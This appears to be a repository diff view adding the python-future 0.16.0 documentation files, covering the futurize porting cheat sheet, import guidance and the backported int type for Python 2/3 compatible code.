+The next step would be manually tweaking the code to re-enable Python 2
+compatibility with the help of the ``future`` package. For example, you can add
+the ``@python_2_unicode_compatible`` decorator to any classes that define custom
+``__str__`` methods. See :ref:`what-else` for more info.
+
+

+ 125 - 0
desktop/core/ext-py/future-0.16.0/docs/futurize_cheatsheet.rst

@@ -0,0 +1,125 @@
+.. _futurize_cheatsheet:
+
+``futurize`` quick-start guide
+------------------------------
+
+How to convert Py2 code to Py2/3 code using ``futurize``:
+
+.. _porting-setup:
+
+Step 0: setup
+~~~~~~~~~~~~~
+
+Step 0 goal: set up and see the tests passing on Python 2 and failing on Python 3.
+
+a. Clone the package from github/bitbucket. Optionally rename your repo to ``package-future``. Examples: ``reportlab-future``, ``paramiko-future``, ``mezzanine-future``.
+b. Create and activate a Python 2 conda environment or virtualenv. Install the package with ``python setup.py install`` and run its test suite on Py2.7 or Py2.6 (e.g. ``python setup.py test`` or ``py.test`` or ``nosetests``)
+c. Optionally: if there is a ``.travis.yml`` file, add Python version 3.3 and remove any versions < 2.6.
+d. Install Python 3.3 with e.g. ``sudo apt-get install python3``. On other platforms, an easy way is to use `Miniconda <http://repo.continuum.io/miniconda/index.html>`_. Then e.g.::
+    
+    conda create -n py33 python=3.3 pip
+
+.. _porting-step1:
+
+Step 1: modern Py2 code
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The goal for this step is to modernize the Python 2 code without introducing any dependencies (on ``future`` or e.g. ``six``) at this stage.
+
+**1a**. Install ``future`` into the virtualenv using::
+      
+          pip install future
+  
+**1b**. Run ``futurize --stage1 -w *.py subdir1/*.py subdir2/*.py``. Note that with
+recursive globbing in ``bash`` or ``zsh``, you can apply stage 1 to all Python
+source files recursively with::
+
+        futurize --stage1 -w **/*.py
+
+**1c**. Commit all changes
+
+**1d**. Re-run the test suite on Py2 and fix any errors.
+
+See :ref:`forwards-conversion-stage1` for more info.
+
+
+Example error
+*************
+
+One relatively common error after conversion is::
+
+    Traceback (most recent call last):
+      ... 
+      File "/home/user/Install/BleedingEdge/reportlab/tests/test_encrypt.py", line 19, in <module>
+        from .test_pdfencryption import parsedoc
+    ValueError: Attempted relative import in non-package
+
+If you get this error, try adding an empty ``__init__.py`` file in the package
+directory. (In this example, in the tests/ directory.) If this doesn’t help,
+and if this message appears for all tests, they must be invoked differently
+(from the cmd line or e.g. ``setup.py``). The way to run a module inside a
+package on Python 3, or on Python 2 with ``absolute_import`` in effect, is::
+
+    python -m tests.test_platypus_xref
+
+(For more info, see `PEP 328 <http://www.python.org/dev/peps/pep-0328/>`_ and
+the `PEP 8 <http://www.python.org/dev/peps/pep-0008/>`_ section on absolute
+imports.)
+
+
+.. _porting-step2:
+
+Step 2: working Py3 code that still supports Py2
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The goal for this step is to get the tests passing first on Py3 and then on Py2
+again with the help of the ``future`` package.
+
+**2a**. Run::
+
+        futurize --stage2 myfolder1/*.py myfolder2/*.py
+
+Or, using recursive globbing with ``bash`` or ``zsh``, you can view the stage 2
+changes to all Python source files recursively with::
+
+    futurize --stage2 **/*.py
+
+To apply the changes, add the ``-w`` argument.
+
+This stage makes further conversions needed to support both Python 2 and 3.
+These will likely require imports from ``future`` on Py2 (and sometimes on Py3),
+such as::
+
+    from future import standard_library
+    standard_library.install_aliases()
+    # ...
+    from builtins import bytes
+    from builtins import open
+    from future.utils import with_metaclass
+
+Optionally, you can use the ``--unicode-literals`` flag to add this import to
+the top of each module::
+
+    from __future__ import unicode_literals
+
+All strings in the module would then be unicode on Py2 (as on Py3) unless
+explicitly marked with a ``b''`` prefix.
+
+If you would like ``futurize`` to import all the changed builtins to have their
+Python 3 semantics on Python 2, invoke it like this::
+
+    futurize --stage2 --all-imports myfolder/*.py
+
+   
+**2b**. Re-run your tests on Py3 now. Make changes until your tests pass on Python 3.
+
+**2c**. Commit your changes! :)
+
+**2d**. Now run your tests on Python 2 and notice the errors. Add wrappers from
+``future`` to re-enable Python 2 compatibility. See the
+:ref:`compatible-idioms` cheat sheet and :ref:`what-else` for more info.
+
+After each change, re-run the tests on Py3 and Py2 to ensure they pass on both.
+
+**2e**. You're done! Celebrate! Push your code and announce to the world! Hashtags
+#python3 #python-future.

+ 55 - 0
desktop/core/ext-py/future-0.16.0/docs/futurize_overview.rst

@@ -0,0 +1,55 @@
+The ``futurize`` script passes Python 2 code through all the appropriate fixers
+to turn it into valid Python 3 code, and then adds ``__future__`` and
+``future`` package imports to re-enable compatibility with Python 2.
+
+For example, running ``futurize`` turns this Python 2 code:
+
+.. code-block:: python
+
+    import ConfigParser                 # Py2 module name
+
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def next(self):                 # Py2-style iterator interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+    itr = Upper('hello')
+    print next(itr),
+    for letter in itr:
+        print letter,                   # Py2-style print statement
+
+into this code which runs on both Py2 and Py3:
+
+.. code-block:: python
+
+    from __future__ import print_function
+    from future import standard_library
+    standard_library.install_aliases()
+    from future.builtins import next
+    from future.builtins import object
+    import configparser                 # Py3-style import
+
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):             # Py3-style iterator interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+    itr = Upper('hello')
+    print(next(itr), end=' ')           # Py3-style print function
+    for letter in itr:
+        print(letter, end=' ')
+
+
+To write out all the changes to your Python files that ``futurize`` suggests,
+use the ``-w`` flag.
+
+For complex projects, it is probably best to divide the porting into two stages.
+Stage 1 is for "safe" changes that modernize the code but do not break Python
+2.6 compatibility or introduce a depdendency on the ``future`` package. Stage 2
+is to complete the process.

+ 4 - 0
desktop/core/ext-py/future-0.16.0/docs/hindsight.rst

@@ -0,0 +1,4 @@
+In a perfect world, the new metaclass syntax should ideally be available in
+Python 2 as a `__future__`` import like ``from __future__ import
+new_metaclass_syntax``.
+

+ 126 - 0
desktop/core/ext-py/future-0.16.0/docs/imports.rst

@@ -0,0 +1,126 @@
+.. _imports:
+
+Imports
+=======
+
+.. _-__future__-imports:
+
+__future__ imports
+------------------
+
+To write a Python 2/3 compatible codebase, the first step is to add this line
+to the top of each module::
+
+    from __future__ import absolute_import, division, print_function
+
+For guidelines about whether to import ``unicode_literals`` too, see below
+(:ref:`unicode-literals`).
+
+For more information about the ``__future__`` imports, which are a
+standard feature of Python, see the following docs:
+
+- absolute_import: `PEP 328: Imports: Multi-Line and Absolute/Relative <http://www.python.org/dev/peps/pep-0328>`_
+- division: `PEP 238: Changing the Division Operator <http://www.python.org/dev/peps/pep-0238>`_
+- print_function: `PEP 3105: Make print a function <http://www.python.org/dev/peps/pep-3105>`_
+- unicode_literals: `PEP 3112: Bytes literals in Python 3000 <http://www.python.org/dev/peps/pep-3112>`_
+
+These are all available in Python 2.6 and up, and enabled by default in Python 3.x.
+
+
+.. _builtins-imports:
+
+Imports of builtins
+-------------------
+
+.. _star-imports:
+
+Implicit imports
+~~~~~~~~~~~~~~~~
+
+If you don't mind namespace pollution, the easiest way to provide Py2/3
+compatibility for new code using ``future`` is to include the following imports
+at the top of every module::
+
+    from builtins import *
+
+On Python 3, this has no effect. (It shadows builtins with globals of the same
+names.) 
+
+On Python 2, this import line shadows 18 builtins (listed below) to
+provide their Python 3 semantics.
+
+
+.. _explicit-imports:
+
+Explicit imports
+~~~~~~~~~~~~~~~~
+
+Explicit forms of the imports are often preferred and are necessary for using
+certain automated code-analysis tools.
+
+The complete set of imports of builtins from ``future`` is::
+    
+    from builtins import (ascii, bytes, chr, dict, filter, hex, input,
+                          int, map, next, oct, open, pow, range, round,
+                          str, super, zip)
+
+These are also available under the ``future.builtins`` namespace for backward compatibility.
+
+Importing only some of the builtins is cleaner but increases the risk of
+introducing Py2/3 portability bugs as your code evolves over time. For example,
+be aware of forgetting to import ``input``, which could expose a security
+vulnerability on Python 2 if Python 3's semantics are expected.
+
+.. One further technical distinction is that unlike the ``import *`` form above,
+.. these explicit imports do actually modify ``locals()`` on Py3; this is
+.. equivalent to typing ``bytes = bytes; int = int`` etc. for each builtin.
+
+The internal API is currently as follows::
+
+    from future.types import bytes, dict, int, range, str
+    from future.builtins.misc import (ascii, chr, hex, input, next,
+                                      oct, open, pow, round, super)
+    from future.builtins.iterators import filter, map, zip
+
+Please note that this internal API is evolving and may not be stable between
+different versions of ``future``. To understand the details of the backported
+builtins on Python 2, see the docs for these modules. 
+
+For more information on what the backported types provide, see :ref:`what-else`.
+
+.. < Section about past.translation is included here >
+
+
+.. _obsolete-builtins:
+
+Obsolete Python 2 builtins
+__________________________
+
+Twelve Python 2 builtins have been removed from Python 3. To aid with
+porting code to Python 3 module by module, you can use the following
+import to cause a ``NameError`` exception to be raised on Python 2 when any
+of the obsolete builtins is used, just as would occur on Python 3::
+
+    from future.builtins.disabled import *
+
+This is equivalent to::
+
+    from future.builtins.disabled import (apply, cmp, coerce, execfile,
+                                 file, long, raw_input, reduce, reload,
+                                 unicode, xrange, StandardError)
+
+Running ``futurize`` over code that uses these Python 2 builtins does not
+import the disabled versions; instead, it replaces them with their
+equivalent Python 3 forms and then adds ``future`` imports to resurrect
+Python 2 support, as described in :ref:`forwards-conversion-stage2`.
+
+
+.. include:: standard_library_imports.rst
+
+.. include:: translation.rst
+
+.. include:: unicode_literals.rst
+
+Next steps
+----------
+See :ref:`what-else`.

+ 10 - 0
desktop/core/ext-py/future-0.16.0/docs/index.rst

@@ -0,0 +1,10 @@
+Easy, clean, reliable Python 2/3 compatibility
+==============================================
+
+``python-future`` is the missing compatibility layer between Python 2 and
+Python 3. It allows you to use a single, clean Python 3.x-compatible
+codebase to support both Python 2 and Python 3 with minimal overhead.
+
+
+.. include:: contents.rst.inc
+

+ 69 - 0
desktop/core/ext-py/future-0.16.0/docs/int_object.rst

@@ -0,0 +1,69 @@
+.. _int-object:
+
+int
+---
+
+Python 3's ``int`` type is very similar to Python 2's ``long``, except
+for the representation (which omits the ``L`` suffix in Python 2). Python
+2's usual (short) integers have been removed from Python 3, as has the
+``long`` builtin name.
+
+Python 3::
+
+    >>> 2**64
+    18446744073709551616
+
+Python 2::
+
+    >>> 2**64
+    18446744073709551616L
+
+``future`` includes a backport of Python 3's ``int`` that
+is a subclass of Python 2's ``long`` with the same representation
+behaviour as Python 3's ``int``. To ensure an integer is long compatibly with
+both Py3 and Py2, cast it like this::
+
+    >>> from builtins import int
+    >>> must_be_a_long_integer = int(1234)
+
+The backported ``int`` object helps with writing doctests and simplifies code
+that deals with ``long`` and ``int`` as special cases on Py2. An example is the
+following code from ``xlwt-future`` (called by the ``xlwt.antlr.BitSet`` class)
+for writing out Excel ``.xls`` spreadsheets. With ``future``, the code is::
+
+    from builtins import int
+
+    def longify(data):
+        """
+        Turns data (an int or long, or a list of ints or longs) into a
+        list of longs.
+        """
+        if not data:
+            return [int(0)]
+        if not isinstance(data, list):
+            return [int(data)]
+        return list(map(int, data))
+
+
+Without ``future`` (or with ``future`` < 0.7), this might be::
+
+    def longify(data):
+        """
+        Turns data (an int or long, or a list of ints or longs) into a
+        list of longs.
+        """
+        if not data:
+            if PY3:
+                return [0]
+            else:
+                return [long(0)]
+        if not isinstance(data,list):
+            if PY3:
+                return [int(data)]
+            else:
+                return [long(data)]
+        if PY3:
+            return list(map(int, data))   # same as returning data, but with up-front typechecking
+        else:
+            return list(map(long, data))
+

Vissa filer visades inte eftersom för många filer har ändrats